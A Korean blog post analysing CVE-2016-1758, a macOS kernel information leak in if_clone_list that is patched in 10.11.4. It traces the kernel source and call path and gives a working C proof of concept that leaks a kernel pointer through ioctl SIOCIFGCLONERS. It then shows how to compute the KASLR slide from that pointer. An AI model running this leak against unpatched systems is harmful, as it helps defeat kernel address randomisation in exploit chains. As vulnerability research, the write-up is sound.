y0u_bat

CVE-2016-1758 macOS kernel information leak 본문

System/[macOS]

CVE-2016-1758 macOS kernel information leak

유뱃 2017. 2. 25. 04:58

CVE-2016-1758 macOS kernel information leak

CVE-2016-1758는 10.11.4에서 패치 되었습니다.

간략하게 취약점에 대해 설명하면, if_clone_list라는 함수에서 초기화 되지 않은 커널 스택의 8바이트를 user space에 복사하게 되어 kernel pointer를 leak 할 수 있습니다.

leak한 kernel pointer에서 base address를 빼서 kernel slide를 계산 할 수 있습니다.

if_clone_list

if_clone_list 함수의 소스코드입니다.

 
static int if_clone_list(int count, int *ret_total, user_addr_t dst)
{
    char outbuf[IFNAMSIZ];
    struct if_clone *ifc;
    int error = 0;
    *ret_total = if_cloners_count;
    if (dst == USER_ADDR_NULL) {
        /* Just asking how many there are. */
        return (0);
    }
    if (count < 0)
        return (EINVAL);
    count = (if_cloners_count < count) ? if_cloners_count : count;
    for (ifc = LIST_FIRST(&if_cloners); ifc != NULL && count != 0;
         ifc = LIST_NEXT(ifc, ifc_list), count--, dst += IFNAMSIZ) {
        strlcpy(outbuf, ifc->ifc_name, IFNAMSIZ);
        error = copyout(outbuf, dst, IFNAMSIZ);
        if (error)
            break;
    }
    return (error);
}

여기서 IFNAMSIZ은 #define으로 16으로 정의 되어 있습니다.

strlcpy(outbuf,ifc->ifc_name,IFNAMSIZ) 할때 ifc_name의 길이가 outbuf 길이 보다 작을 경우 outbuf에 복사 된 후에 outbuf 마지막에 몇 바이트들이 초기화 되지 않습니다.

여기서 첫번째 인터페이스는 "bridge"라고 불려서 ifc_name는 6글자이므로, outbuf에 9바이트의 초기화 되지 않은 바이트를 남겨 둡니다.

그리고 copyout(outbuf, dst, IFNAMSIZ); 로 IFNAMSIZ만큼 outbuf를 user space인 dst으로 복사 해줍니다.
그러므로 kernel pointer가 user space에 복사 되어 leak 할 수 있게 됩니다.

if_clone_list가 어디서 호출 되는지 call graph를 봅시다.

 
soo_ioctl
  soioctl
    ifioctllocked
      ifioctl
        ifioctl_ifclone
          if_clone_list

soo_ioctl 자체는 socketops 구조체에서 사용합니다.

 
const struct fileops socketops = {
    DTYPE_SOCKET,
    soo_read,
    soo_write,
    soo_ioctl,
    soo_select,
    soo_close,
    soo_kqfilter,
    soo_drain
};


아까 그 call graph를 보면, 소켓의 ioctl를 호출 해야지 if_clone_list 함수까지 도달 할 수 있는것을 볼 수 있습니다.

 
int ifioctl(struct socket *so, u_long cmd, caddr_t data, struct proc *p)
{
...
    switch (cmd) {
    case OSIOCGIFCONF32:            /* struct ifconf32 */
    case SIOCGIFCONF32:             /* struct ifconf32 */
    case SIOCGIFCONF64:             /* struct ifconf64 */
    case OSIOCGIFCONF64:            /* struct ifconf64 */
        error = ifioctl_ifconf(cmd, data);
        goto done;
    case SIOCIFGCLONERS32:          /* struct if_clonereq32 */
    case SIOCIFGCLONERS64:          /* struct if_clonereq64 */
        error = ifioctl_ifclone(cmd, data); 
        goto done;
...
    }
...
}

ifioctl_ifclone 내부에서 if_clone_list가 호출 되므로 cmd가 SIOCIFGCLONERS 되어야 됩니다.

그러므로 ioctl(sockfd, SIOCIFGCLONERS, &ifcr); 이런식으로 호출 해줘야 됩니다.

 
static __attribute__((noinline)) int ifioctl_ifclone(u_long cmd, caddr_t data)
{
    int error = 0;
    switch (cmd) {
    case SIOCIFGCLONERS32: {        /* struct if_clonereq32 */
        struct if_clonereq32 ifcr;
        bcopy(data, &ifcr, sizeof (ifcr));
        error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
            CAST_USER_ADDR_T(ifcr.ifcru_buffer));
        bcopy(&ifcr, data, sizeof (ifcr));
        break;
    }
    case SIOCIFGCLONERS64: {        /* struct if_clonereq64 */
        struct if_clonereq64 ifcr;
        bcopy(data, &ifcr, sizeof (ifcr));
        error = if_clone_list(ifcr.ifcr_count, &ifcr.ifcr_total,
            ifcr.ifcru_buffer);
        bcopy(&ifcr, data, sizeof (ifcr));
        break;
    }
    default:
        VERIFY(0);
        /* NOTREACHED */
    }
    return (error);
}


ifioctl_ifclone 함수를 보면, if_clone_list 인자로 if_clonerq 구조체를 사용하는 것을 볼 수 있습니다.

count 와 buffer를 설정 해줘야 됩니다.

 
char buffer[IFNAMSIZ];
struct if_clonereq ifcr = {
    .ifcr_count  = 1,
    .ifcr_buffer = buffer,
};



최종적으로, 아래 와 같은 소스를 실행하면, information leak 되는 것을 볼 수 있습니다.

 
#include <net/if.h>
#include <stdio.h>
#include <sys/ioctl.h>
#include <unistd.h>
char buffer[IFNAMSIZ];
struct if_clonereq ifcr = {
    .ifcr_count  = 1,
    .ifcr_buffer = buffer,
};
int main(){
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    int err = ioctl(sockfd, SIOCIFGCLONERS, &ifcr);
    printf("0x%016llx\n", *(uint64_t *)(buffer + 8));
}

이렇게 컴파일해서 실행시키면 위와 사진과 같은 결과를 얻을 수 있습니다.

kernel slide는 2MB의 배수이므로, 해당 주소의 하위 21비트가 정확하다는것을 알고 있습니다. OSX 10.10.5 커널에서 찾아보면, base address가 일치한 명령어가 하나만 있다는 것을 알 수 있습니다.

 
_ledger_credit+95:
ffffff800033487f        mov    eax, r14d

따라서 leak한 주소에서 0xffffff800033487f 빼서 kernel slide를 구할 수 있습니다.

0xffffff801873487f-0xffffff800033487f = 0x18400000

이렇게 나온 kernel slide를 가지고 실제 시스템의 커널 함수의 주소를 계산 할 수 있게 됩니다.

Reference




잘못된 내용 지적은 언제든지 환영입니다 ^--^

'System > [macOS]' 카테고리의 다른 글

[MacOS] WindowServer analysis (CVE-2018-4193)  (2) 2018.09.05
구구콘 macOS kernel 1day 발표자료.  (0) 2017.05.13
macOS Kernel Debugging Guide  (0) 2017.03.17
macOS App to ISO file Convert  (0) 2017.03.16
Comments